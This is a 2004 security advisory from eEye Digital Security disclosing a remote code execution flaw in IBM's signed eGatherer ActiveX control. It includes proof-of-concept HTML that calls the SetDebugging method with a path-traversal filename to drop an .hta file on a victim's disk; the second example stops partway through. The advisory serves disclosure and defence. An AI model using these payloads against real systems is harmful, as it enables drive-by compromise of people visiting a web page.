"IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability

Release Date:
June 15, 2004

Date Reported:
February 20, 2004

Patch Development Time (In Days):
116   

Severity:
High (Remote Code Execution)

Vendor:
IBM

Systems Affected:
IBM Access Support (eGatherer) Activex Version 2.0.0.16

Overview:
eEye Digital Security has discovered a security vulnerability in IBM's
signed "eGatherer" activex. Because this application is signed, it might
be presented to users on the web for execution in the name of IBM. If
users trust IBM, they will run this, and their systems will be
compromised. This activex was designed by IBM to be used for an
automated support solution for their PC's. This is installed by default
on many popular IBM PC models.

The issue is quite simple. Activex is a very profound web technology. As
a profound web technology it may be abused. Designers might create an
activex which could perform any function on an user's computer.
Microsoft relies on trust for the security model and warns against
making activex with dangerous capabilities. The responsibility, however,
rests with the creator of the activex, as in any trust model.

In this case, IBM made available methods named such as "GetMake",
"GetModel", "GetOSName", "SetDebugging" (accepting variable called
"filename") and "RunEgatherer" (also accepting suspicious parameter).
These dangerous methods were found to be able to write a trojan file to
the user's startup folder through a difficult trick. 

It should be further noted that both "SetDebugging" and "RunEgatherer"
methods allow a web page author to write files of their choice (though
the content is limited) to the victim's hard drive -- anywhere to their
hard drive. This is the default usage of these methods. 

Technical Details:
For clarification purposes this will be presented as a two page attack,
though it may easily be a single HTML page attack.


-----------EXAMPLE HTML 1 ---------
//first this page would be viewed, then through refreshing or whatever
one goes to the second page (or just timing the two calls with
SetTimeOUt and putting them on the same page...)
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../xx.hta",-1);
|script|
---------------------------------

-----------EXAMPLE HTML 2 ---------
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../x